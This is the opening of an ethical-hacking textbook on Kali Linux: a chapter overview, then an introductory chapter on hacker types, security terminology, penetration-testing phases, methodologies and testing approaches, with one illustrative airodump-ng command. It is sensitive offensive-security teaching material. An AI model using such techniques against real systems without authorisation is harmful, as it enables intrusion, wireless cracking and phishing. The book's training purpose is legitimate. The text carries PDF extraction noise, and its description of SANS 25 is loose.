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I would like to dedicate this book to those people in our society who have always worked
hard in their field of expertise and who have not been recognized for their hard work,
commitment, sacrifices, and ideas, but who, most importantly, believed in themselves
when no one else did. This book is for you. Always have faith in yourself. With
commitment, hard work, and focus, anything can be possible. Never give up because great
things take time.

- Glen D. Singh
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Preface
Learn Kali Linux 2019 is an excellent book filled with amazing content and exercises
designed with a student-centric approach, making it easy to adapt to and follow through
each chapter easily. Learn Kali Linux 2019 starts by introducing the reader to ethical hacking
concepts and threat actors, before gradually moving into penetration testing approaches
and methodologies. Each chapter smoothly flows onto the next. With each step along the
journey, the stages of penetration testing are outlined, with the help of in-depth theory and
hands-on labs using one of the most popular penetration testing platforms, Kali Linux.

The reader will learn how to build their own penetration testing lab environment, perform
both passive and active reconnaissance using OSINT on the target organizations, perform
vulnerability scanning using multiple tools such as Nessus, and perform wireless
penetration, network penetration testing, website and web application penetration testing,
and client-side attacks.

Furthermore, readers will gain the skills required to perform privilege escalation and lateral
movement using the Metasploit framework. Learn Kali Linux 2019 takes you from beginner
to expert in terms of learning and understanding penetration testing, while keeping the
reader in mind.

This title can also be used as a training guide in penetration testing, ethical hacking, and
cyber security-related courses.

Who this book is for
This book is designed for students, network and security engineers, cyber
security/information security professionals, enthusiasts, and those who simply have an
interest in ethical hacking and penetration testing. This title can also be used in both
independent (self-study) and classroom-based training in penetration testing and cyber
security courses alike.

Whether you're new to the field of information technology or a seasoned IT professional,
Learn Kali Linux 2019 has something for everyone. A detailed knowledge of networking and
IT security is preferred but not mandatory, as the book is written for anyone.
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What this book covers
Chapter 1, Introduction to Hacking, introduces various types of threat actors and penetration
testing methodologies and approaches.

Chapter 2, Setting Up Kali - Part 1, introduces you to virtualization concepts, how to build
your own penetration testing lab, how to install Kali Linux, and vulnerable target
machines.

Chapter 3, Setting Up Kali - Part 2, focuses on installing and configuring Windows and
Ubuntu operating systems and troubleshooting Kali Linux.

Chapter 4, Getting Comfortable with Kali Linux 2019, teaches you about Kali Linux, its
features, and commands to enable you to perform various tasks.

Chapter 5, Passive Information Gathering, examines the passive ways to gather information
pertaining to the target from Open Source Intelligence (OSINT), which means we will
gather information about the target from publicly available resources.

Chapter 6, Active Information Gathering, explains the active ways of gathering information
using DNS interrogation, scanning, and enumeration techniques.

Chapter 7, Working with Vulnerability Scanners, explores various network and web
vulnerability scanner tools, including Nessus, Nikto, WPScan, and Burp Suite.

Chapter 8, Understanding Network Penetration Testing, covers some basic concepts of
wireless penetration testing.

Chapter 9, Network Penetration Testing - Pre-Connection Attacks, explores a wireless hacking
tool, aircrack-ng, the basic concept of deauthentication attacks, and how to create fake
access points.

Chapter 10, Network Penetration Testing - Gaining Access, covers the basics of gaining access,
and how to crack WEP and WPA encryption using dictionary and brute force attacks.

Chapter 11, Network Penetration Testing - Post-Connection Attacks, explores information
gathering, how to perform man-in-the-middle attacks, sniffing using Wireshark, elevating
privileges, and lateral movement on a network.

Chapter 12, Network Penetration Testing - Detection and Security, explains how to detect an
ARP poisoning attack and suspicious activities using Wireshark and packet analysis.

||||||||||||||||||||
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Chapter 13, Client-Side Attacks - Social Engineering, explains various types of social
engineering attacks and how to defend against them, while also covering how to create a
phishing Facebook page and mitigation techniques.

Chapter 14, Performing Website Penetration Testing, covers the basics of web application
penetration testing. Readers will learn about common web-based vulnerabilities such as
SQL Injection, Cross-Site Scripting (XSS), and Cross-Site Request Forgery (CSRF).

Chapter 15, Website Penetration Testing - Gaining Access, explains how to bypass logins
using a SQL injection attack, while also providing you with an explanation of reflected and
store XSS attacks and how to perform client-side attacks using BeEF.

Chapter 16, Best Practices, provides guidelines for penetration testers and the web
application security blueprint to ensure that, after completing this book, the reader has a
wealth of knowledge and is able to adapt to good practices in the industry.

To get the most out of this book
To get the most out of this book, readers should have a basic understanding of networking,
including various network and application protocols, network devices and appliances, and
a basic understanding of routing and switching concepts. Some prior knowledge of IT
security is not mandatory, but help you grasp the concepts and exercises presented during
the course of this book.

The only hardware required is a personal computer, such as a laptop or desktop, with an
operation system capable of running Oracle VM VirtualBox or VMware Workstation 15
Pro. As for specifications, the recommended setup is as follows:

Processor: Intel i5, i7, or better
HDD: 200 GB hard drive
RAM: 4 GB of RAM (8 GB is preferable)
An internet connection
Alfa Network AWUS036NHA wireless adapter

Download the color images
We also provide a PDF file that has color images of the screenshots/diagrams used in this
book. You can download it here: https:/ /static. packt- cdn. com/downloads/
9781789611809_ColorImages. pdf.

||||||||||||||||||||

||||||||||||||||||||

https://static.packt-cdn.com/downloads/9781789611809_ColorImages.pdf
https://static.packt-cdn.com/downloads/9781789611809_ColorImages.pdf
https://static.packt-cdn.com/downloads/9781789611809_ColorImages.pdf
https://static.packt-cdn.com/downloads/9781789611809_ColorImages.pdf
https://static.packt-cdn.com/downloads/9781789611809_ColorImages.pdf
https://static.packt-cdn.com/downloads/9781789611809_ColorImages.pdf
https://static.packt-cdn.com/downloads/9781789611809_ColorImages.pdf
https://static.packt-cdn.com/downloads/9781789611809_ColorImages.pdf
https://static.packt-cdn.com/downloads/9781789611809_ColorImages.pdf
https://static.packt-cdn.com/downloads/9781789611809_ColorImages.pdf
https://static.packt-cdn.com/downloads/9781789611809_ColorImages.pdf
https://static.packt-cdn.com/downloads/9781789611809_ColorImages.pdf
https://static.packt-cdn.com/downloads/9781789611809_ColorImages.pdf
https://static.packt-cdn.com/downloads/9781789611809_ColorImages.pdf
https://static.packt-cdn.com/downloads/9781789611809_ColorImages.pdf
https://static.packt-cdn.com/downloads/9781789611809_ColorImages.pdf
https://static.packt-cdn.com/downloads/9781789611809_ColorImages.pdf
https://static.packt-cdn.com/downloads/9781789611809_ColorImages.pdf
https://technet24.ir
https://technet24.ir


Preface

[ 4 ]

Conventions used
There are a number of text conventions used throughout this book.

CodeInText: Indicates code words in text, database table names, folder names, filenames,
file extensions, pathnames, dummy URLs, user input, and Twitter handles. Here is an
example: "Use the ifconfig command to verify the status of the adapter."

Any command-line input or output is written as follows:

airodump-ng --bissid <bssid value> -c <channel number> wlan0mon

Bold: Indicates a new term, an important word, or words that you see on screen. For
example, words in menus or dialog boxes appear in the text like this. Here is an example:
"If you're using VMware, the New Virtual Machine Wizard will prompt you to continue
your setup in either a Typical (recommended) or Custom (advanced) mode."

Warnings or important notes appear like this.

Tips and tricks appear like this.

Get in touch
Feedback from our readers is always welcome.

General feedback: If you have questions about any aspect of this book, mention the book
title in the subject of your message and email us at customercare@packtpub.com.

Errata: Although we have taken every care to ensure the accuracy of our content, mistakes
do happen. If you have found a mistake in this book, we would be grateful if you would
report this to us. Please visit www.packtpub.com/support/errata, selecting your book,
clicking on the Errata Submission Form link, and entering the details.
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Piracy: If you come across any illegal copies of our works in any form on the internet, we
would be grateful if you would provide us with the location address or website name.
Please contact us at copyright@packt.com with a link to the material.

If you are interested in becoming an author: If there is a topic that you have expertise in,
and you are interested in either writing or contributing to a book, please visit
authors.packtpub.com.

Reviews
Please leave a review. Once you have read and used this book, why not leave a review on
the site that you purchased it from? Potential readers can then see and use your unbiased
opinion to make purchase decisions, we at Packt can understand what you think about our
products, and our authors can see your feedback on their book. Thank you!

For more information about Packt, please visit packt.com.
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1
Section 1: Kali Linux Basics

This section covers the basics of hacking by discussing the concepts of penetration testing
and its value in combating cyber threats. In addition, the reader will learn how to build
their own penetration testing lab filled with various operating systems to practice and
sharpen their skill set.

This section comprises the following chapters: 

Chapter 1, Introduction to Hacking
Chapter 2, Setting Up Kali - Part 1
Chapter 3, Setting Up Kali - Part 2
Chapter 4, Getting Comfortable with Kali Linux 2019
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1
Introduction to Hacking

Cybersecurity is one of the most rapidly growing fields in information technology. Every
day, numerous attacks are executed against various entities, from individuals to large
enterprises and even governments. Due to these threats in the digital world, new
professions are being created within organizations for people who can protect assets. This
book aims to give you the knowledge and techniques that an aspiring penetration tester
needs in order to enter the field of cybersecurity. A penetration tester is a professional who
has the skills of a hacker; they are hired by an organization to perform simulations of real-
world attacks on their network infrastructure with the objective of discovering security
vulnerabilities before a real attack occurs. The penetration tester does this task with written
legal permission from the target organization. To become a highly skilled hacker, it's vital
to have a strong understanding of computers, networking, and programming, as well as
how they work together. Most importantly, however, you need creativity. Creative
thinking allows a person to think outside the box and go beyond the intended uses of
technologies and find exciting new ways to implement them, doing things with them that
were never intended by their developers. In some ways, hackers are artists.

Throughout this book, we will be using one of the most popular operating systems for
penetration testing, Kali Linux. The Kali Linux operating system has hundreds of tools and
utilities designed to assist you during a vulnerability assessment, penetration test, or even a
digital forensics investigation in the field of cybersecurity. We will use Kali Linux to take
you through various topics using a student-centric approach, filled with a lot of hands-on
exercises starting from beginner level to intermediate to more advanced topics and
techniques.

In this chapter, you will become acquainted with what hackers are and how they can be
classified based on motivations and actions. You'll learn important terminology and look at
methods and approaches that will help you throughout this book and set you on your path
to becoming a penetration tester. You'll be introduced to the workflow of a hack as well.
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In this chapter, we will look at the following topics:

Who is a hacker?
Key terminology
Penetration testing phases
Penetration testing methodologies
Penetration testing approaches
Types of penetration testing
Hacking phases

Who is a hacker?
Hacker, hack, and hacking are terms that have become ubiquitous in the 21st century.
You've probably heard about life hacks, business hacks, and so on. While these may be, in
some sense of the word, forms of hacking, the traditional form of hacking we'll discuss in
this book is computer hacking. Computer hacking is the art of using computer-based
technologies in ways they were never intended to be used to get them to do something
unanticipated.

Hacking has taken on many different names and forms throughout the years. In the late
20th century, a common form of hacking was known as phreaking, which abused 
weaknesses in analog phone systems. Computer hacking has been around for more than
half a century and, over the past few decades, has become a pop culture sensation in
Hollywood movies and on television shows. It's all over the news, almost daily. You hear
about things such as the Equifax, NHS, and Home Depot data breaches all the time. If
you're reading this book, you have made your first step toward better understanding this
fringe form of engineering.

Now that we have a better idea of what a hacker is, let's explore the various classifications
of hackers.

Types of hackers
Hacking has many varieties or flavors, and so there are many classifications for hackers. In
this section, we'll explore the various types of hackers, including the activities, skill sets,
and values associated with each.
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The following are the different types of hackers:

Black hat
White hat
Gray hat
Suicide
State-sponsored
Script kiddie
Cyber terrorist

At the end of this section, you will be able to compare and contrast each type of hacker.

Black hat hacker
Black hat hackers typically have a strong understanding of systems, networks, and 
application programming, which they use for malicious and/or criminal purposes. This
type of hacker typically has a deep understanding of evasion and indemnification tactics,
which they use to avoid imprisonment as a result of their actions.

They understand the common tools and tactics used by highly skilled ethical hackers.
Hackers caught performing criminal hacking are usually blacklisted from ethical hacking,
thus losing the ability to get employment as an ethical hacker.

Now that you have a better understanding of black hat hackers, let's take a look at another
type—one that follows ethical practices and helps others: the white hat hacker.

White hat hacker
White hat hackers, like black hat hackers, possess a strong understanding of systems,
networks, and application programming. However, unlike black hats, they use their
knowledge and skills to test systems, applications, and networks for security
vulnerabilities. This testing is conducted with the permission of the target and is used to
find weaknesses in security before unethical hackers exploit them. The motivation to
safeguard systems and entities, while staying within the confines of the law and ethics,
leads to white hats being called ethical hackers.
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Like black hats, they possess a solid knowledge of hacking tools, attack vectors, and tactics
used in the exploitation and discovery of vulnerabilities. They also need to think like black
hats when testing and, therefore, must use creativity to imagine themselves in the shoes of
those they wish to combat. Ethical or white hat hacking is the most common form of
hacking and the focus of this book.

Now that we understand the difference between a white hat hacker and a black hat hacker,
let's move on to a type of hacker who looks for vulnerabilities while inhabiting an
ambiguous or gray area between ethical and unethical hacking: the gray hat hacker.

Gray hat hacker
Gray hat hackers are similar to white hats but often conduct vulnerability research on their
own, and then disclose these vulnerabilities to force vendors to remediate the issue by
issuing a software patch. Their skills typically have a heavier emphasis on vulnerability
research tactics, such as fuzzing, debugging, and reverse engineering.

At times, being a gray hat can be difficult as the balance and definition of ethical and
unethical actions keep changing. Despite the difficult place that they occupy in the
community, they share valuable information about security flaws, and are therefore
important members of the cybersecurity community.

The next type of hacker uses unethical means to break into systems but does not do so for
personal profit like a black hat—this type of hacker is the suicide hacker.

Suicide hacker
Suicide hackers are typically less-skilled hackers who are just about capable enough to gain
access to systems but are not able to evade detection. These hackers have no concern for
being caught or imprisoned—they are happy as long as they succeed in entering and
disrupting a system. Their actions are motivated by revenge, political ideologies, and so on.
This type of hacker doesn't care whether they are caught or arrested, so long as the job is
done.

Next, we'll take a look at hackers that work on behalf of or within governments.
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State-sponsored hacker
The state-sponsored hacker is usually employed by a national government to spy and
launch cyberattacks against another nation. These hackers have dominated conversations
about hacking in society.

This type of hacker enjoys access to all the tools and resources provided by the state, as well
as protection from prosecution in order to execute their duties effectively.

However, not everyone has access to the cybersecurity training or tools. Most people start
with limited resources and skills, such as the type we'll encounter in the next section.

Script kiddie
A script kiddie is a type of hacker that does not fully understand the technical background
of hacking. They use scripts and tools created by other hackers to perform their dirty work.
However, even though script kiddies lack the technical knowledge of a real hacker, their
actions can still cause a lot of damage in the digital world.

Most hackers start off as a script kiddie. Then, by developing their knowledge and skill set,
they are able to become more accomplished at hacking. This ultimately leads them to
choose a life as one of the various other types of hackers mentioned in this section.

The last type of hacker has a different set of motives, for example, ideological or political
motives that are extreme in nature: they are cyber terrorists.

Cyber terrorist
Cyber terrorists are either individuals or groups with hostile intent to cause havoc for their
targets, such as a nation. Their motivation is political in nature. Cyber terrorists carry out
quite a wide variety of hacking based on what they do, from causing chaos by
compromising cybersecurity to even compromising physical security by hacking into
confidential databases.

Having completed this section, you are now able to differentiate between each type of
hacker, and you know about their motives and skill sets. The skill sets of hackers can range
from script kiddie to black hat level.
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Next, let's move on to some important terminologies so that you can become better
acquainted with the language of the cybersecurity community. You may have already
encountered these terms, and you will continue to do so in this book and on your journey
to becoming a penetration tester through discussions, books, training, and so on.

Exploring important terminology
Every field has certain terms that become a major part of the language of that field.
Information security and cybersecurity are no different. The following are the most
common terms, and we'll explore them in detail in this section:

Threat
Asset
Vulnerability
Exploit
Risk
Zero-day
Hack value

Let's delve into these terms in more detail.

Threat
A threat in terms of cybersecurity is something or someone that intends to cause harm to
another person or system. Furthermore, we can look at a threat as something that has the
potential to cause malicious damage to a system, network, or person.

Whether you're on the offensive or defensive side in cybersecurity, you must always be
able to identify threats. However, while we need to be aware of threats, we also need to
know what has to be protected against threats. We call the entity in need of safeguarding an
asset. Let's look at what constitutes an asset.
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Asset
Assets, in terms of cybersecurity, are systems within a network that can be interacted with
and potentially expose the network or organization to weaknesses that could be exploited
and give hackers a way to escalate their privileges from standard user access to
administrator/root-level access or gain remote access to the network. It is important to
mention that assets are not and should not be limited to technical systems. Other forms of
assets include humans, physical security controls, and even data that resides within the
networks we aim to protect.

Assets can be broken down into three categories:

Tangible: These are physical things such as networking devices, computer
systems, and appliances.
Intangible: These are things that are not in a physical form, such as intellectual
property, business plans, data, and records.
Employees: These are the people who drive the business or organization.
Humans are one of the most vulnerable entities in the field of cybersecurity.

One key step in vulnerability assessment and risk management is to identify all the assets
within an organization. All organizations have assets that need to be kept safe; an
organization's systems, networks, and assets always contain some sort of security weakness
that can be taken advantage of by a hacker. Next, we'll dive into understanding what a
vulnerability is.

Vulnerability
A vulnerability is a weakness or defect that exists within technical, physical, or human
systems that hackers can exploit in order to gain access to or control over systems within a
network. Common vulnerabilities that exist within organizations include human error (the
greatest of vulnerabilities on a global scale), web application injection vulnerabilities, and
the oldest of vulnerabilities, the buffer overflow.

Now that we know what a vulnerability is, let's take a look at what is used by a hacker to
take advantage of a security weakness in the next section.
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Exploit
Exploit attacks are the ways hackers take advantage of weaknesses or vulnerabilities within
systems. For example, take a hammer, a piece of wood, and a nail. The vulnerability is the
soft, permeable nature of wood, and the exploit is the act of hammering the nail into the
wood.

As a cybersecurity professional, you must understand vulnerabilities and exploits to reduce
the likelihood of being compromised. In the next section, we will describe risk.

Risk
Risk is the potential impact that a vulnerability, threat, or asset presents to an organization
calculated against all other vulnerabilities, threats, and assets. Evaluating risk helps to
determine the likelihood of a specific issue causing a data breach that will cause harm to an
organization's finances, reputation, or regulatory compliance.

Reducing risk is critical for many organizations. There are many certifications, standards,
and frameworks that are designed to help companies understand, identify, and reduce
risks. Later, in the Penetration testing methodologies section, we will cover such standards and
frameworks. Next, we'll look at threats that companies do not know about because no one
has identified them yet—zero-day attacks.

Zero-day
A zero-day attack is an exploit that is unknown to the world, including the vendor, which
means it is unpatched by the vendor. These attacks are commonly used in nation-state
attacks, as well as by large criminal organizations. The discovery of a zero-day exploit can
be very valuable for ethical hackers and can earn them a bug bounty. These bounties are
fees paid by vendors to security researchers that discover previously unknown
vulnerabilities in their applications.

Today, many organizations have established a bug bounty program, which allows
interested persons who discover a vulnerability within a system of a vendor to report it.
The person who reports the vulnerability, usually a zero-day flaw, is given a reward.
However, there are hackers who intentionally attempt to exploit a system or network for
some sort of personal gain; this is known as the hack value, which we will explore next.

Technet24
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Hack value
The hack value is commonly referred to as the motivation or the reason for performing a
hack on a system or network. It is the value of accomplishing the goal of breaking into a
system.

You are now able to better describe the terminology used in penetration testing. In the next
section, we will look at each phase of a penetration test.

Penetration testing phases
While penetration testing is interesting, we cannot attack a target without a battle plan.
Planning ensures that the penetration testing follows a sequential order of steps to achieve
the desired outcome, which is identifying vulnerabilities. Each phase outlines and describes
what is required before moving onto the next steps. This ensures that all details about the
work and target are gathered efficiently and that the penetration tester has a clear
understanding of the task ahead.

The following are the different phases in penetration testing:

Pre-engagement1.
Information gathering2.
Threat modeling3.
Vulnerability analysis4.
Exploitation5.
Post-exploitation6.
Report writing7.

Each of these phases will be covered in more detail in the following sections.

Pre-engagement
During the pre-engagement phase, key personnel are selected. These individuals are key to
providing information, coordinating resources, and helping testers understand the scope,
breadth, and rules of engagement in the assessment.
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This phase also covers legal requirements, which typically include a non-disclosure
agreement (NDA) and a consulting services agreement (CSA). The following is a typical
process overview of what is required prior to the actual penetration testing:

An NDA is a legal agreement that specifies that a penetration tester will not share or hold
onto any sensitive or proprietary information that is encountered during the assessment.
Companies usually sign these agreements with cybersecurity companies who will, in turn,
sign it with employees working on the project. In some cases, companies sign these
agreements directly with the penetration testers from the company carrying out the project.

The scope of a penetration test defines the systems that the testers can and cannot hack or
test. To ensure that the penetration tester remains within the legal boundaries, he or she
must acquire legal permission in writing from the client or company who is requesting the
services. Additionally, the penetration tester must provide an NDA. The agreement
between the ethical hacker and the client also defines sensitive systems as well as testing
times and which systems require special testing windows. It's incredibly important for
penetration testers to pay close attention to the scope of a penetration test and where they
are testing in order to always stay within the testing constraints.

Technet24
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The following are some sample pre-engagement questions to help you define the scope of
your penetration test:

What is the size/class of your external network? (Network penetration testing.)
What is the size/class of your internal network? (Network penetration testing.)
What is the purpose and goal of the penetration test? (Applicable to any form of
penetration testing.)
How many pages does the web application have? (Web application penetration
testing.)
How many user inputs or forms does the web application have?

This is not an extensive list of pre-engagement questions, and all
engagements should be given thorough thought to ensure that you ask all
the important questions so you don't underscope or underprice the
engagement.

Now that we've understood the legal limitation stages in penetration testing, let's move on
to learn about the information-gathering phase and its importance.

Information gathering
Most types of penetration tests involve an information-gathering phase, which is vital to
ensuring that testers have access to key information that will assist them in conducting their
assessment. This is not the case in a black box approach, which we will deal with later.
Most information gathering is done for web-based application penetration testing, so the
questions involved are generally geared toward web-based applications, such as those
given here:

What platform is the application written in?
Does the application use any APIs?
Is the application behind a web application firewall (WAF)?
How does the application handle authentication?
Does the application use active directory credentials to authenticate users?
Do users access this application in any other way than through the web URL?
Is the application internet-facing or internal?
Does the application serve any sensitive information or system access?
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Understanding the target is very important before any sort of attack as a penetration tester,
as it helps in creating a profile of the potential target. Recovering user credentials/login
accounts at this phase, for instance, will be vital to later phases of penetration testing as it
will help us gain access to vulnerable systems and networks. Next, we will discuss the
essentials of threat modeling.

Threat modeling
Threat modeling is a process used to assist testers and defenders to better understand the
threats that inspired the assessment or the threats that the application or network is most
prone to. This data is then used to help penetration testers emulate, assess, and address the
most common threats that the organization, network, or application faces.

Having understood the threats an organization faces, the next step is to perform a
vulnerability assessment on the assets to further determine the risk rating and severity.

Vulnerability analysis
Vulnerability analysis typically involves the assessors or testers running vulnerability or
network/port scans to better understand which services the network or application is
running and whether there are any vulnerabilities in any systems included in the scope of
the assessment. This process often includes manual vulnerability testing/discovery, which
is often the most accurate form of vulnerability analysis or vulnerability assessment.

There are many tools, both free and paid for, to assist us in quickly identifying
vulnerabilities on a target system or network. After discovering the security weaknesses,
the next phase is to attempt exploitation.

Exploitation
Exploitation is the most commonly ignored or overlooked part of penetration testing, and
the reality is that clients and executives don't care about vulnerabilities unless they
understand why they matter to them. Exploitation is the ammunition or evidence that helps
articulate why the vulnerability matters and illustrates the impact that the vulnerability
could have on the organization. Furthermore, without exploitation, the assessment is not a
penetration test and is nothing more than a vulnerability assessment, which most
companies can conduct in-house better than a third-party consultant could.

Technet24
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To put it simply, during the information-gathering phase, a penetration tester will profile
the target and identify any vulnerabilities. Next, using the information about the
vulnerabilities, the penetration tester will do their research and create specific exploits that
will take advantage of the vulnerabilities of the target—this is what exploitation is. We use
exploits (malicious code) to leverage a vulnerability (weakness) in a system, which will
allow us to execute arbitrary code and commands on the target.

Often after successfully exploiting a target system or network, we may think the task is
done—but it isn't just yet. There are tasks and objectives to complete after breaking into the
system. This is the post-exploitation phase in penetration testing.

Post-exploitation
Exploitation is the process of gaining access to systems that may contain sensitive
information. The process of post-exploitation is the continuation of this step, where the
foothold gained is leveraged to access data or spread to other systems within the network.
During post-exploitation, the primary goal is typically to demonstrate the impact that the
vulnerability and access gained can pose to the organization. This impact assists in helping
executive leadership better understand the vulnerabilities and the damage it could cause to
the organization.

Report writing
Report writing is exactly as it sounds and is one of the most important elements of any
penetration test. Penetration testing may be the service, but report writing is the deliverable
that the client sees and is the only tangible element given to the client at the end of the
assessment. Reports should be given as much attention and care as the testing.

I will cover report writing in greater detail later in the book, but report writing involves
much more than listing a few vulnerabilities discovered during the assessment. It is the
medium in which you convey risk, business impact, summarize your findings, and include
remediation steps. A good penetration tester needs to be a good report writer, or the issues
they find will be lost and may never be understood by the client who hired them to conduct
the assessment.

Having completed this section, you are now able to describe each phase of a penetration
test. Furthermore, you have a better idea of the expectations of penetration testers in the
industry. Next, we will dive into understanding various penetration testing methodologies,
standards, and frameworks.
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Penetration testing methodologies
In the field of penetration testing, there are many official and standard methodologies that
are used to perform a penetration test on a target system or network.

In the following sections, we will discuss the most popular standards and frameworks that
are used in cybersecurity to ensure that organizations meet an acceptable baseline of
operating in a secure environment.

OWASP
OWASP stands for Open Web Application Security Project, and it provides 
methodologies as well as lists of the top 10 biggest security weaknesses present in web
applications. This list is the de facto framework used by web application penetration testers
and is what most corporations are looking for when hiring penetration testers to test their
web applications. This is also the most common and prevalent form of penetration testing.

This is one of the most popular frameworks, and every penetration tester should have a
clear understanding of it when it comes to web application testing. However, it's equally
important to understand others, such as NIST.

NIST
NIST stands for the National Institute of Standards and Technology. NIST is a division of
the US government, and it publishes a number of special publications defining best
practices as well as standards for organizations to employ in order to improve their
security. It's important to understand NIST in order to map findings or discovered
vulnerabilities to their appropriate rules in order to help organizations understand the
compliance implications of the issues discovered during the assessment.

At times, a target organization may require security testing using a specific framework or
standard. Being familiar with the OSSTMM can be useful for your engagements with the
target organization as a penetration tester.

Technet24
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OSSTMM
OSSTMM stands for the Open Source Security Testing Methodology Manual. This is a
community-driven, frequently updated, and peer-reviewed set of security testing standards
that every ethical hacker should be aware of and keep updated on. These standards tend to
cover a wide array of testing subjects and are especially valuable to those entering the
industry to help them better understand the process as well as testing best practices.

The knowledge found in OSSTMM will be a great asset as a penetration tester. In the next
section, we will discuss the benefits of also understanding SANS 25.

SANS 25
SANS 25 is a list of the top 25 security domains as defined by the SANS Institute. When
conducting assessments, it's good to be familiar with this list and understand how your
findings pertain to the list. In addition, understanding the top 25 domains can assist in
helping increase the breadth of your knowledge of security vulnerabilities. These issues
typically extend far beyond what will be discovered through nothing but penetration
testing, and understanding these issues may even help you identify additional
vulnerabilities or risk trends during your assessments.

In my job opportunities, the employer usually wants to ensure that their penetration tester
is familiar with and understands each of these penetration testing frameworks and
standards. This information is useful when conducting a security test/audit on an
organization of a particular industry.

Now that you have a better understanding of popular penetration testing methodologies,
let's dive into the three penetration testing approaches.

Penetration testing approaches
The following are different approaches to performing a penetration test on a target
organization:

White box
Black box
Gray box

Let's see what each of these entails.
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White box
A white box assessment is typical of web application testing but can extend to any form of
penetration testing. The key difference between white, black, and gray box testing is the
amount of information provided to the testers prior to the engagement. In a white box
assessment, the tester will be provided with full information about the application and its
technology, and will usually be given credentials with varying degrees of access to quickly
and thoroughly identify vulnerabilities in the applications, systems, or networks.

Not all security testing is done using the white box approach; sometimes, only the target
company's name is provided to the penetration tester. Next, we will cover the
fundamentals of black box testing.

Black box
Black box assessments are the most common form of network penetration assessment and
are most typical among external network penetration tests and social engineering
penetration tests. In a black box assessment, the testers are given very little or no
information about the networks or systems they are testing. This particular form of testing
is inefficient for most types of web application testing because of the need for credentials in
order to test for authenticated vulnerabilities, such as lateral and vertical privilege
escalation.

In situations where black box testing is not suitable, there's another approach that exists
between white and black box; this is known as gray box.

Gray box
Gray box assessments are a hybrid of white and black box testing, and are typically used to
provide a realistic testing scenario while also giving penetration testers enough information
to reduce the time needed to conduct reconnaissance and other black box testing activities.
In addition to this, it's important in any assessment to ensure you are testing all in-scope
systems. In a true black box, it's possible to miss systems and, as a result, leave them out of
the assessment. The gray box is often the best form of network penetration testing as it
provides the most value to clients.

Each penetration test approach is different from the other, and it's vital that you know
about all of them. Imagine a potential client calling us to request a black box test on their
external network; as a penetration tester, we must be familiar with the terms and what is
expected.
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Now that we have covered the different approaches of testing, let's dive into the various
types of penetration testing.

Types of penetration testing
Vulnerability and port scanning cannot identify the issues that manual testing can, and this
is the reason that an organization hires penetration testers to conduct these assessments.
Delivering scans instead of manual testing is a form of fraud and is, in my opinion, highly
unethical. If you can't cut it testing, then practice, practice, and practice some more. You
will learn legal ways to up your tradecraft later in this book.

In the following sections, we will dive into various types of penetration tests.

Web application penetration testing
Web application penetration testing, hereafter referred to as WAPT, is the most common
form of penetration testing and likely to be the first penetration testing job most people
reading this book will be involved in. WAPT is the act of conducting manual hacking or
penetration testing against a web application to test for vulnerabilities that scanners won't
find. Too often testers submit web application vulnerability scans instead of manually
finding and verifying issues within web applications.

Now you have the essential understanding of WAPT, let's take a look at mobile application
penetration testing in the next section.

Mobile application penetration testing
Mobile application penetration testing is similar to web application penetration testing, but
is specific to mobile applications that contain their own attack vectors and threats. This is a
rising form of penetration testing with a great deal of opportunity for those who are
looking to break into penetration testing and have an understanding of mobile application
development.

As you may have noticed, the different types of penetration testing each have specific
objectives. Next, we will look at a more human-oriented approach, social engineering.
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Social engineering penetration testing
Social engineering penetration testing, in my opinion, is the most adrenaline-filled type of
testing. Social engineering is the art of manipulating basic human psychology to find
human vulnerabilities and get people to do things they may not otherwise do. During this
form of penetration testing, you may be asked to do activities such as sending phishing
emails, make vishing phone calls, or talk your way into secure facilities to determine what
an attacker targeting their personnel could achieve. I have personally obtained domain
admin access over the phone, talked my way into bank vaults and casino money cages, and
talked my way into a Fortune 500 data center.

There are many types of social engineering attacks, which will be covered later on in this
book. Most commonly, you'll be tasked with performing security auditing on systems and
networks. In the next section, we will discuss network penetration testing.

Network penetration testing
Network penetration testing focuses on identifying security weaknesses in a targeted
environment. The penetration test objectives are to identify the flaws in the target
organization's systems, their networks (wired and wireless), and their networking devices
such as switches and routers.

The following are some tasks that are performed using network penetration testing:

Bypassing an Intrusion Detection System (IDS)/Intrusion Prevent System (IPS)
Bypassing firewall appliances
Password cracking
Gaining access to end devices and servers
Exploiting misconfigurations on switches and routers

Now that you have a better idea of the objectives in network penetration testing, let's take a
look at the purpose of cloud penetration testing.

Cloud penetration testing
Cloud penetration testing involves performing security assessments and penetration testing
on risks to cloud platforms to discover any vulnerabilities that may expose confidential
information to malicious users.
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Before attempting to directly engage a cloud platform, ensure you have legal permission
from the vendor. For example, if you are going to perform penetration testing on the Azure
platform, you'll need legal permission from Microsoft.

In the next section, we will cover the essentials of physical penetration testing.

Physical penetration testing
Physical penetration testing focuses on testing the physical security access control systems
in place to protect an organization's data. Security controls exist within offices and data
centers to prevent unauthorized persons from entering secure areas of a company.

Physical security controls include the following:

Security cameras and sensors: Security cameras are used to monitor physical
actions within an area.
Biometric authentication systems: Biometrics are used to ensure that only
authorized people are granted access to an area.
Doors and locks: Locking systems are used to prevent unauthorized persons
from entering a room or area.
Security guards: Security guards are people who are assigned to protect
something, someone, or an area.

Having completed this section, you are now able to describe the various types of
penetration testing. Your journey ahead won't be complete without understanding the
phases of hacking. The different phases of hacking will be covered in the next section.

Hacking phases
During any penetration test training, you will encounter the five phases of hacking. These
phases are as follows:

Reconnaissance1.
Scanning2.
Gaining access3.
Maintaining access4.
Covering tracks5.

In the following sections, we will describe each in detail.
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Reconnaissance or information gathering
The reconnaissance or information-gathering phase is where the attacker focuses on
acquiring meaningful information about their target. This is the most important phase in
hacking: the more details known about the target, the easier it is to compromise a weakness
and exploit it.

The following are techniques used in the reconnaissance phase:

Using search engines to gather information
Using social networking platforms
Performing Google hacking
Performing DNS interrogation
Social engineering

In this phase, the objective is to gather as much information as possible about the target. In
the next section, we will discuss using a more directed approach, and engage the target to
get more specific and detailed information.

Scanning
The second phase of hacking is scanning. Scanning involves using a direct approach in
engaging the target to obtain information that is not accessible via the reconnaissance
phase. This phase involves profiling the target organization, its systems, and network
infrastructure.

The following are techniques used in the scanning phase:

Checking for any live systems
Checking for firewalls and their rules
Checking for open network ports
Checking for running services
Checking for security vulnerabilities
Creating a network topology of the target network

This phase is very important as it helps us to create a profile of the target. The information
found in this phase will help us to move onto performing exploitation on the target system
or network.

Technet24
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Gaining access
This phase can sometimes be the most challenging phase of them all. In this phase, the
attacker uses the information obtained from the previous phases to exploit the target. Upon
successful exploitation of vulnerabilities, the attacker can then remotely execute malicious
code on the target and gain remote access to the compromised system.

The following can occur once access is gained:

Password cracking
Exploiting vulnerabilities
